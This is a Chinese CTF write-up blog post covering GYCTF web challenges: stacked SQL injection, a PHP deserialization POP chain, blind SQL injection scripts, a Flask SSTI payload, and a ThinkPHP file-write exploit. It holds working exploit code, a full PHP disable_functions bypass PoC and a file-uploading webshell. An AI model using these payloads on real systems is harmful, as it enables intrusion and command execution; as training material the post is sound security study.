zoukankan      html  css  js  c++  java
  • GYCTF Web区部分WP

    目录:

    1. Blacklist
    2. Easyphp
    3. Ezsqli
    4. FlaskApp
    5. EasyThinking

    前言:

    这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题。不过还好有buu,在几天后我终于抽出时间来复盘了。

    。。由于buu复现的数量有限,所以没办法都写完,只能挑几道会的写一写。那么接下来开始看题吧。

    Blacklist

    涉及知识点:

    (1)堆叠注入

    解析:

    这一道题很明显参考了强网杯的随便注。只不过过滤的函数增加了。

     先看一下有表名。payload: 1';show tables;#

     再看一下字段名。 payload:1';show columns from FlagHere;#

     之后就是查询flag,但是select,set 甚至 rename 都没了。这里还有一种插叙查询方法使用handler。

    学习笔记就放在这里了。

     直接构造payload: 1';handler FlagHere open;handler FlagHere read first;#

    获得flag

    Easyphp

    涉及知识点:

    (1)POC链的构造

    解析:

    本来以为这是一道sql注入,没想到有源码的啊。

    这里只贴关键代码吧。

    update.php

    <?php
    require_once('lib.php');
    echo '<html>
    <meta charset="utf-8">
    <title>update</title>
    <h2>这是一个未完成的页面,上线时建议删除本页面</h2>
    </html>';
    if ($_SESSION['login']!=1){
        echo "你还没有登陆呢!";
    }
    $users=new User();
    $users->update();
    if($_SESSION['login']===1){
        require_once("flag.php");
        echo $flag;
    }
    ?>

    lib.php

    <?php
    error_reporting(0);
    session_start();
    function safe($parm){
        $array= array('union','regexp','load','into','flag','file','insert',"'",'\',"*","alter");
        return str_replace($array,'hacker',$parm);
    }
    class User
    {
        public $id;
        public $age=null;
        public $nickname=null;
        public function login() {
            if(isset($_POST['username'])&&isset($_POST['password'])){
            $mysqli=new dbCtrl();
            $this->id=$mysqli->login('select id,password from user where username=?');        # id=1 的前提是 token = admin
            if($this->id){
            $_SESSION['id']=$this->id;
            $_SESSION['login']=1;
            echo "你的ID是".$_SESSION['id'];
            echo "你好!".$_SESSION['token'];
            echo "<script>window.location.href='./update.php'</script>";
            return $this->id;
            }
        }
    }
        public function update(){
            $Info=unserialize($this->getNewinfo());            # age nickname 可以自己操控
            $age=$Info->age;
            $nickname=$Info->nickname;
            $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
            //这个功能还没有写完 先占坑
        }
        public function getNewInfo(){
            $age=$_POST['age'];
            $nickname=$_POST['nickname'];
            return safe(serialize(new Info($age,$nickname)));          o:{}
        }
        public function __destruct(){
            return file_get_contents($this->nickname);//
        }
        }
        public function __toString()
        {
            $this->nickname->update($this->age);
            return "0-0";
        }
    }
    class Info{
        public $age;
        public $nickname;
        public $CtrlCase;
        public function __construct($age,$nickname){
            $this->age=$age;
            $this->nickname=$nickname;
        }
        public function __call($name,$argument){
            echo $this->CtrlCase->login($argument[0]);            # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
        }
    }
    Class UpdateHelper{
        public $id;
        public $newinfo;
        public $sql;
        public function __construct($newInfo,$sql){
            $newInfo=unserialize($newInfo);
            $upDate=new dbCtrl();
        }
        public function __destruct()
        {
            echo $this->sql;
        }
    }
    class dbCtrl
    {
        public $hostname="127.0.0.1";
        public $dbuser="root";
        public $dbpass="root";
        public $database="test";
        public $name;
        public $password;
        public $mysqli;
        public $token;
        public function __construct()
        {
            $this->name=$_POST['username'];
            $this->password=$_POST['password'];
            $this->token=$_SESSION['token'];
        }
        public function login($sql)
        {
            $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
            if ($this->mysqli->connect_error) {
                die("连接失败,错误:" . $this->mysqli->connect_error);
            }
            $result=$this->mysqli->prepare($sql);
            $result->bind_param('s', $this->name);
            $result->execute();
            $result->bind_result($idResult, $passwordResult);
            $result->fetch();
            $result->close();
            if ($this->token=='admin') {            //从这里返回  前提是 token = admin 
                return $idResult;
            }
            
            //不能走下面回
            if (!$idResult) {
                echo('用户不存在!');
                return false;
            }
            if (md5($this->password)!==$passwordResult) {
                echo('密码错误!');
                return false;
            }
            $_SESSION['token']=$this->name;
            return $idResult;
        }
        public function update($sql)
        {
            //还没来得及写
        }
    }

    这一题在update.php中调用了User类并且调用了update函数,这为我们创造了利用反序列化漏洞的条件。跟进:

     public function update(){
            $Info=unserialize($this->getNewinfo());            # age nickname 可以自己操控
            $age=$Info->age;
            $nickname=$Info->nickname;
            $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
            //这个功能还没有写完 先占坑
        }

    跟进 getNewinfo() :

    public function getNewInfo(){
            $age=$_POST['age'];
            $nickname=$_POST['nickname'];
            return safe(serialize(new Info($age,$nickname)));          
        }

    因为返回结果会经过 safe 函数,所以跟进看一下safe函数:

    function safe($parm){
        $array= array('union','regexp','load','into','flag','file','insert',"'",'\',"*","alter");
        return str_replace($array,'hacker',$parm);
    }

    很明显,这是在给我们提供拼接反序列化字符串的机会。

    之后再看这里新实例化了一个 Info 类,并且 age 和 nickname 都是我们自己可以控制的变量。继续跟进:

    class Info{
        public $age;
        public $nickname;
        public $CtrlCase;
        public function __construct($age,$nickname){
            $this->age=$age;
            $this->nickname=$nickname;
        }
        public function __call($name,$argument){
            echo $this->CtrlCase->login($argument[0]);            # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
        }
    }

    在 php 的反序列化中魔术方法绝对是我们解题的关键,这题也不例外,在 Info 的 __call 方法中调用了 login 函数,而有两个类中含有这个函数。

    User类

        public function login() {
            if(isset($_POST['username'])&&isset($_POST['password'])){
            $mysqli=new dbCtrl();
            $this->id=$mysqli->login('select id,password from user where username=?');        # id=1 的前提是 token = admin
            if($this->id){
            $_SESSION['id']=$this->id;
            $_SESSION['login']=1;
            echo "你的ID是".$_SESSION['id'];
            echo "你好!".$_SESSION['token'];
            echo "<script>window.location.href='./update.php'</script>";
            return $this->id;
            }
        }
    }

    dbCtrl类

    public function login($sql)
        {
            $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
            if ($this->mysqli->connect_error) {
                die("连接失败,错误:" . $this->mysqli->connect_error);
            }
            $result=$this->mysqli->prepare($sql);
            $result->bind_param('s', $this->name);
            $result->execute();
            $result->bind_result($idResult, $passwordResult);
            $result->fetch();
            $result->close();
            if ($this->token=='admin') {            //从这里返回  前提是 token = admin 
                return $idResult;
            }
            
            //不能走下面回
            if (!$idResult) {
                echo('用户不存在!');
                return false;
            }
            if (md5($this->password)!==$passwordResult) {
                echo('密码错误!');
                return false;
            }
            $_SESSION['token']=$this->name;
            return $idResult;
        }
        public function update($sql)
        {
            //还没来得及写
        }
    }

    审计完上面的代码之后,可以很明显的知道我们要调用的是 dbCtrl 类的 login 。为什么?因为这个方法返回的结果是 sql 查询的结果,并且这个结果是会被输出的(不要小看echo啊!)因此我们可以通过sql查询得到 admin 的密码。但是此时另一个问题就出来了,怎么才能调用 __call 方法?

    能打败魔术方法的只有魔术方法(不是,只是这题凑巧了),我们发现在 User 类中有一个 __toString 方法。

    public function __toString()
        {
            $this->nickname->update($this->age);
            return "0-0";
        }

    很明显,只要 nickname 为 Info 类的实例就会触发 Info 类中没有的 update 函数,从而触发 __call 魔术方法。然后继续套娃,怎么调用 __toString 方法。

    ?UpdateHelper 类中有

    public function __destruct()
        {
            echo $this->sql;
        }

    不多说了,怎么调用这个方法??(?这不是自动调用吗),并且我们的第一步是创建了这个类的实例的,也就是说我们的poc链接上了。

    写脚本:

    <?php
    class  User
    {public $age='select password,id from user where username=?';    #注意这里一定是 password 在前
        public $nickname=null;
    }
    class Info
    {
        public $age;
        public $nickname;
        public $CtrlCase;
    }
    class UpdateHelper
    {
        public $id;
        public $newinfo;
        public $sql;      
    }
    class dbCtrl
    {
        public $hostname="127.0.0.1";
        public $dbuser="root";
        public $dbpass="root";
        public $database="test";
        public $name = 'admin';
        public $password;
        public $mysqli;
        public $token = 'admin';
    }
    
    $cioi = new UpdateHelper();
    $cioi->sql = new User();
    $cioi->sql->nickname = new Info();
    $cioi->sql->nickname->CtrlCase = new dbCtrl();
    
    $cioier = '";s:1:"a";'.serialize($cioi)."}";
    $len = strlen($cioier);
    $cioier = str_repeat('union',$len).$cioier;
    echo $cioier;
    
    
    ?>

     得到password

     

     登录获得flag。

    Ezsqli

    涉及知识点:

    (1)无列名盲注

    解析:

    测试阶段就不讲了好吧。反正这是一道布尔盲注。但是 or 被过滤了,这说明 information 不能用了,测试了一下 mysql 也不能用,但是 sys 还是可以用的。

    可以用 sys.schema_table_statistics_with_buffer 或者 sys.x$schema_table_statistics_with_buffer 爆表

    脚本(当时爆完表名不知道union被过滤怎么无列名注入,就试了一下列名为 flag 的情况,然后就中了?不愧是我)

    import requests
    
    url = 'http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php'
    payload = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
    passwd = ''
    
    for i in range(1,80):
        low = 0
        high = 127
       
        while True:                             
            j = int((low + high)/2)
            sqlstr = u"0||ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}#"
            #sqlstr = u"0||ascii(substr((select flag from f1ag_1s_h3r3_hhhhh),{},1))>{}#"
     
            data = {'id':sqlstr.format(str(i),str(j))}
            #print(sqlstr.format(str(i),str(low)))
    
            ans = requests.post(url,data=data)
            if 'Nu1L' in ans.text:     #true
                if high == low+1:
                    passwd += chr(high)
                    print(passwd)
                    break
                low = j
                
            if 'Error' in ans.text:       #false
                if high == low+1:
                    passwd += chr(low)
                    print(passwd)
                    break
                high = j
        
                
    
    print(passwd)
    print("error!length is too short!")
    

    结果:

     非预期没什么好说的,就猜呗。下面是知道表名之后的预期解。

    首先我们需要知道一个知识:

    id=0||(select 1,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Error Occured When Fetch Result.(false)

    id=0||(select 2,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Nu1L(true)

    即两个查询字符串的查询结果是可以比较的,先比较查询结果的第一列,如果第一列出结果,那么返回第一列的结果,如果第一列相等,继续比较第二列。以此类推。

    而本题第一列肯定是 1 ,因为测试发现第一列是 1 时结果和第二列的大小有关。

    所以我们可以写出以下脚本:

    #本脚本是专用于爆破无列名盲注的
    import requests
    
    #普通爆破的话直接用之前的布尔盲注模板
    url = "http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php"
    passwd = ''
    
    for i in range(1,50):
        low = 0
        high = 127
        
        while True:
            j = int((low+high)/2)
            sqlstr = "0||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)"
            if chr(j) == "'":
                sqlstr = '0||(select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)'
            
            data = {"id":sqlstr.format(passwd+str(chr(j)))}
    
            resp = requests.post(url=url,data=data)
            
            #print(sqlstr.format(passwd+str(chr(j))))
            if 'Nu1L' in resp.text:             #true
                if high == low+1:
                    passwd = passwd + chr(low)
                    print(passwd)
                    break
                high = j
            
            if 'Error' in resp.text:
                if high == low+1:
                    passwd = passwd + chr(low)
                    print(passwd)
                    break
                low = j
    
    print(passwd.lower())           # 把 flag 中的大写字母转化成小写。需要时用
    print("error!length is too short!")    #只是提醒自己结束了

    直接跑一遍就可以拿到flag了。

    FlaskApp

    涉及知识点:

    (1)SSTI

    解析:

    这题是我比赛中做出来的一道题,但是被队友背刺,我太惨了!,,Ծ‸Ծ,,

    这题。。就是先base64加密后,再解密时会触发反序列化机制。

    测试 {{7+7}} 加密解密后为 

     这题虽然过滤了一些东西,但是跟没过滤一样,字符串拼接就绕过了。

    这里主要是找可以利用的类 ,发现 warning.catch_warnings 存在,这里写了一个找可利用类的脚本。

    import sys
    
    array = []
    
    def find_class(line,s,c):
        if line.find(b'class') > 0:
            start = line.find(b'<class',s)
            #print(start)
            end = line.find(b'>',start)
            string = line[start+8:end-1]
            #print(string)
            array.append(string)
            if line.find(b'class',end+1) > 0:
                find_class(line,end,c)
    
    def create_array():
        sys.setrecursionlimit(1000000)
        with open('C:/Users/Acer/Desktop/flag.txt','rb') as f:
            a = 1
            lines = f.readlines()
            for line in lines:
                #print(line)
                find_class(line,0,b'warnings.catch_warnings')
                #print(a)
    
    def search_class(funcs,fun):
        i = 0 
        for func in funcs:
            if fun in func:
                print(i)
            else:
                i = i + 1
    
    create_array()
    search_class(array,b'warnings.catch_warnings')

    ..比赛时是 134 。。赵总改了一下现在是 206 。

    构造payload: {{[].__class__.__base__.__subclasses__()[206].__init__.__globals__['__buil'+'tins__']['e'+'val']('__im'+'port__("o"+"s").pop'+'en("ca"+"t /this_i"+"s_the_fl"+"ag.txt").read()')}}

    获得flag

    EasyThinking

    涉及知识点:

    (1)Thinkphp6.0任意文件操作漏洞

    (2)shell命令执行

    解析:

    这题是真的不会,只能看看师傅们的wp才能维持的了生活的样子。先贴上师傅的wp

    首先我爆出了Thinkphp的版本6.0,上网去找漏洞,找到了上面贴的漏洞。

    还行,尝试利用漏洞(就像上面链接说的一样,构造一个32位的php文件名)

    在搜索处输入要注入的php代码。如:

     发现过滤的函数有点多,以至于我们的蚁剑无法执行系统命令。之后用 <?php var_dump(scandir('/')); ?> 发现根目录下有

     然后就不会了,师傅给了一个可以执行系统命令的脚本。

    <?php
    
    # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=72530
    #
    # This exploit should work on all PHP 7.0-7.3 versions
    #
    # Author: https://github.com/mm0r1
    
    pwn("/readflag"); //这里是想要执行的系统命令
    
    function pwn($cmd) {
        global $abc, $helper;
    
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }
    
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
    
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
    
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        class ryat {
            var $ryat;
            var $chtg;
            
            function __destruct()
            {
                $this->chtg = $this->ryat;
                $this->ryat = 1;
            }
        }
    
        class Helper {
            public $a, $b, $c, $d;
        }
    
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
    
        $n_alloc = 10; # increase this value if you get segfaults
    
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_repeat('A', 79);
    
        $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
        $out = unserialize($poc);
        gc_collect_cycles();
    
        $v = [];
        $v[0] = ptr2str(0, 79);
        unset($v);
        $abc = $out[2][0];
    
        $helper = new Helper;
        $helper->b = function ($x) { };
    
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
    
        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
    
        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
    
        # fake reference
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
    
        $closure_obj = str2ptr($abc, 0x20);
    
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
    
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
    
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
    
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
    
        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
    
        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    
        ($helper->b)($cmd);
    
        exit();
    }

    但是这个马明显太长了,怎么办?自己做一个可以上传的小马。(一定要记住 要加 ?act=godsdoor )

    <?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href="".stripslashes($_POST["name"])."">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
    ?>

    然后利用小马上传大马。

    获得flag

  • 相关阅读:
    Assigning to 'id<UINavigationControllerDelegate,UIImagePickerControllerDelegate> _Nullable' from incompatible type 'InfchangeVC *const __strong'
    yum源 epel源 no package available 更换国内yum源
    zabbix安装 报错 socket '/var/lib/mysql/mysql.sock' (13)]
    一步一步超级详细的zabbix安装教程
    二进制、八进制、十进制与十六进制
    Linux面试题2
    uniq命令
    tr命令
    Linux面试题
    Ubuntu 14.04更换内核
  • 原文地址:https://www.cnblogs.com/cioi/p/12381283.html
Copyright © 2011-2022 走看看